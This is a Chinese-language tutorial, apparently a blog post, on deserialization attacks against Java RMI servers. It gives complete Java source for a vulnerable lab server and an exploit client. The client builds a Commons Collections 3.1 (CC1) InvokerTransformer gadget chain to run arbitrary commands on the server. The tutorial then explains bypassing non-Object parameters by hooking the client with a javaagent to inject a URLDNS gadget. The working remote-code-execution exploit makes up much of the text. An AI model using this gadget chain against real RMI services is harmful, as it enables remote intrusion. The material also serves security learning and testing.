0x01 前言
在RMI的整个传输过程中,你会发现都是在进行序列化与反序列化
利用这个特性,我们可以尝试对RMI服务端进行反序列化攻击
但想对RMI服务端进行反序列化攻击,需要满足两个条件
- 需要RMI服务端有一个不是基础数据类型参数的远程方法
- 需要RMI服务端存在有可反序列化利用链的jar包
基础类型为: boolean、char、byte、short、int、long、float、double
0x02 环境
编辑器为: IntelliJ IDEA
java版本:
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
使用的架包:
Commons Collections 3.1
0x03 例子一-利用Object类型参数
0x03.1 案例介绍
假设我们现在有一台服务器,这台服务器放注册中心与RMI服务端
然后RMI服务端,创建了个RMITestImpl2
类,并向注册中心注册了RMITestImpl2
类
而RMITestImpl2
类,里面有两个public方法
分别是test()
与hello(Object o)
现在我们要利用开放的hello(Object o)
方法,尝试进行反序列化攻击
0x03.2 目录结构
// 目录结构
├── RMITest2
│ ├── RMITest2Interface.java
│ ├── RMIServer
│ │ ├── RMIServerTest2.java
│ │ └── RMITestImpl2.java
│ └── RMIExploit
│ └── RMIExploitTest.java
0x03.3 公共接口
先定义一个远程接口,这个接口,服务端客户端都要使用到
也就是两台服务器都要保存一份的接口
package RMITest2;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* RMI测试接口
* 定义一个远程接口, 继承java.rmi.Remote接口
*/
public interface RMITest2Interface extends Remote {
String test() throws RemoteException;
String hello(Object o) throws RemoteException;
}
0x03.4 创建注册中心与服务端
接着我们创建个RMITestImpl2
类,继承UnicastRemoteObject
类,实现RMITest2Interface
接口
该类是一个远程接口实现类,用于被客户端调用与执行的
注意: 远程接口实现类必须继承UnicastRemoteObject
类,用于生成存根/桩(Stub)
和骨架(Skeleton)
package RMITest2.RMIServer;
import RMITest2.RMITest2Interface;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMITestImpl2 extends UnicastRemoteObject implements RMITest2Interface {
/**
* 调用父类的构造函数
*
* @throws RemoteException
*/
protected RMITestImpl2() throws RemoteException {
super();
}
@Override
public String test() throws RemoteException {
return "test~";
}
/**
* RMI服务端可被攻击的环境
*
* @param o
* @return
* @throws RemoteException
*/
@Override
public String hello(Object o) throws RemoteException {
return "hello~";
}
}
创建注册中心与服务端
客户端可以通过这个输出的URL直接访问远程对象,不需要知道远程实例对象的名称
因为服务端将RMITestImpl2对象,注册到了RMI注册中心上,并且公开了一个固定的路径 ,供客户端访问
package RMITest2.RMIServer;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServerTest2 {
// 注册中心的服务器ip
public static final String RMI_HOST = "127.0.0.1";
// 注册中心设置的开放端口
public static final int RMI_PORT = 9998;
// RMI服务名称
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/hello";
/**
* 注册中心创建 与 服务端创建
*
* @param args
*/
public static void main(String[] args) {
try {
// 创建注册中心
LocateRegistry.createRegistry(RMI_PORT);
// 服务端
// 功能: 注册远程对象RMITestImpl2到RMI注册中心
Naming.bind(RMI_NAME, new RMITestImpl2());
// 输出该对象的访问地址
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 运行该文件
0x03.5 攻击RMI服务端
package RMITest2.RMIExploit;
import RMITest2.RMITest2Interface;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class RMIExploitTest {
public static void main(String[] args) {
try {
String cmd = "open -a /System/Applications/Calculator.app";
Object payload = getPayload(cmd);
// 服务地址
String rmiName = "rmi://127.0.0.1:9998/hello";
// 查找远程RMI服务
RMITest2Interface rt2 = (RMITest2Interface) Naming.lookup(rmiName);
// 调用远程接口RMITest2Interface类的hello方法
// 并且尝试进行漏洞利用
String result2 = rt2.hello(payload);
// 输出服务端执行结果
System.out.println(result2);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* CC1反序列化
* @param cmd
* @return
* @throws Exception
*/
private static Object getPayload(String cmd) throws Exception {
//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
};
// 将 transformers 数组存入 ChaniedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建个 Map 准备拿来绑定 transformerChina
Map innerMap = new HashMap();
// put 第一个参数必须为 value, 第二个参数随便写
innerMap.put("value", "xxxx");
// 创建个 transformerChina 并绑定 innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 反射机制调用AnnotationInvocationHandler类的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取 AnnotationInvocationHandler 类实例
Object instance = ctor.newInstance(Retention.class, outerMap);
return instance;
}
}
// 运行结果
运行完毕以后,服务端会弹出一个计算器
0x03.6 原理
直接看为何在传输Object
类的参数时,服务端会进行反序列化的吧
进入到sun.rmi.server.UnicastServerRef
类的dispatch
方法,打几个断点,如下:
接着在服务端,进行debug,记得要在服务端哦
然后在客户端,点击运行,就可以正式开始debug了
先看服务端var8
的hashToMethod_Map
存着啥
就是服务端实现的RMI服务对象的二个方法
如果说var8 == null
那就爆错
服务端对于Object
类型参数反序列化的点位于unmarshalValue
方法内,让我们继续debug看看
其中var0
是服务端接口方法设定的入参参数类型var1
是从客户端传来的的序列化数据流var0.isPrimitive
判断是否是默认基础类型
基础类型为: boolean、char、byte、short、int、long、float、double
而我们这个例子里面var0
是为Ojbect
不为基础类型所以进入了else
进行了var1.readObject()
你会发现代码里面写着,当服务端设定的RMI方法的入参不是基础数据类型时,就会执行反序列化输入流
所以并不需要说那个参数就一定要是Ojbect
只是说如果参数是Ojbect
更加容易利用
这里有个Java的坑,就是Integer.TYPE
的返回是int类
所以如果var0
传的是Integer类似的参数,也是会进入else
进行了var1.readObject()
因为Integer == Integer.TYPE
为false,注意咯
那么不是基础数据类型又不是Ojbect
的参数,如何利用呢?让我们查看例子二
0x04 例子二-绕过Object类型参数
0x04.1 前言
这里直接搬运 https://xz.aliyun.com/t/7930 啦啦0咯咯 大佬的话了
在例子一中,注意到:当服务端设定的RMI方法的入参不是基础数据类型时,就会执行反序列化输入流。
这里并不强求是要Object
类型的参数才能var1.readObject
这里看似没问题,但是你细品
假如服务端的RMI方法接口的入参是name(java.lang.String)
(String不在基础数据类型表中)
那么它就会进入else分支,执行var1.readObject()
,但是var1又是我们客户端输出的值
假如我们输入的不是一个java.lang.String
的值,而是一个Object对象
那么实际上也会被反序列化解析,即Object.readObject()
完成任意命令执行
这种情况下,利用方法就被扩展了
从RMI服务端需要起一个具有Object参数的RMI方法 的利用条件限制
扩展到了RMI服务端只需要起一个具有不属于基础数据类型参数的RMI方法(比如String啥的)
攻击原理核心在于替换原本不是Object类型的参数变为Object类型。
之前我们修改String接口变为Object,是可以做到修改参数类型,但是那样还会修改method hash
所以这里只能修改底层代码,去替换原本的参数为我们想要的payload
afanti总结了以下途径(后发现是国外老哥先提出来的)
- 直接修改rmi底层源码
- 在运行时,添加调试器hook客户端,然后替换
- 在客户端使用Javassist工具更改字节码
- 使用代理,来替换已经序列化的对象中的参数信息
途径不同,目的都是一样的,我们使用afanti的RemoteObjectInvocationHandler项目来试验下可行性
github地址: https://github.com/Afant1/RemoteObjectInvocationHandler
0x04.2 前期准备
首先下载: https://github.com/Afant1/RemoteObjectInvocationHandler 进行编译
// 使用方法
这是一个 java maven项目
导入idea,打开刚刚好下载好的源码
打开: /RemoteObjectInvocationHandler/pom.xml 安装对应的包
第一次安装依赖包需要比较久,慢慢等不要急
1、mvn package 打好jar包
2、运行RmiServer
3、运行RmiClient前,VM options参数填写:-javaagent:C:\...\xxx\rasp-1.0-SNAPSHOT.jar
4、最终会hook住RemoteObjectInvocationHandler函数,修改第三个参数为URLDNS gadget
安装好对应包以后,打开:RemoteObjectInvocationHandlerHookVisitor.java修改DNSLog为自己的
0x04.3 目录结构
// 目录结构
├── RMITest3
│ ├── RMITest3Interface.java
│ ├── RMIServer
│ │ ├── RMIServerTest3.java
│ │ └── RMITestImpl3.java
│ └── RMIClient
│ └── RMIClientTest.java
0x04.3 公共接口
先定义一个远程接口,这个接口,服务端客户端都要使用到
也就是两台服务器都要保存一份的接口
package RMITest3;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* RMI测试接口
* 定义一个远程接口, 继承java.rmi.Remote接口
*/
public interface RMITest3Interface extends Remote {
String name(String s) throws RemoteException;
}
0x04.4 创建注册中心与服务端
接着我们创建个RMITestImpl3
类,继承UnicastRemoteObject
类,实现RMITest3Interface
接口
该类是一个远程接口实现类,用于被客户端调用与执行的
package RMITest3.RMIServer;
import RMITest3.RMITest3Interface;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMITestImpl3 extends UnicastRemoteObject implements RMITest3Interface {
/**
* 调用父类的构造函数
*
* @throws RemoteException
*/
protected RMITestImpl3() throws RemoteException {
super();
}
/**
* RMI服务端可被攻击的环境
*
* @param s
* @return
* @throws RemoteException
*/
@Override
public String name(String s) throws RemoteException {
return s;
}
}
创建注册中心与服务端
客户端可以通过这个输出的URL直接访问远程对象,不需要知道远程实例对象的名称
因为服务端将RMITestImpl3对象,注册到了RMI注册中心上,并且公开了一个固定的路径 ,供客户端访问
package RMITest3.RMIServer;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServerTest3 {
// 注册中心的服务器ip
public static final String RMI_HOST = "127.0.0.1";
// 注册中心设置的开放端口
public static final int RMI_PORT = 9998;
// RMI服务名称
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/t3";
/**
* 注册中心创建 与 服务端创建
*
* @param args
*/
public static void main(String[] args) {
try {
// 创建注册中心
LocateRegistry.createRegistry(RMI_PORT);
// 服务端
// 功能: 注册远程对象RMITestImpl3到RMI注册中心
Naming.bind(RMI_NAME, new RMITestImpl3());
// 输出该对象的访问地址
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 运行该文件
0x04.5 攻击RMI服务端
package RMITest3.RMIClient;
import RMITest3.RMITest3Interface;
import java.rmi.Naming;
public class RMIClientTest {
public static void main(String[] args) {
try {
// 服务地址
String rmiName = "rmi://127.0.0.1:9998/t3";
// 查找远程RMI服务
RMITest3Interface rt3 = (RMITest3Interface) Naming.lookup(rmiName);
// 调用远程接口RMITest3Interface类的name方法
// 并且尝试进行漏洞利用
String result3 = rt3.name("test");
// 输出服务端执行结果
System.out.println(result3);
} catch (Exception e) {
e.printStackTrace();
}
}
}
创建好这个文件以后,先别着急运行,先打开这个
虚拟机现项: -javaagent:/xxxx/RemoteObjectInvocationHandler/target/rasp-1.0-SNAPSHOT.jar
然后在运行RMIClientTest类,接着dnslog就会收到消息了
0x05 结尾
像这样攻击服务端的,现在来非常少了,只能说心里记一下,知道这个如果遇到了满足条件的情况下,可以试试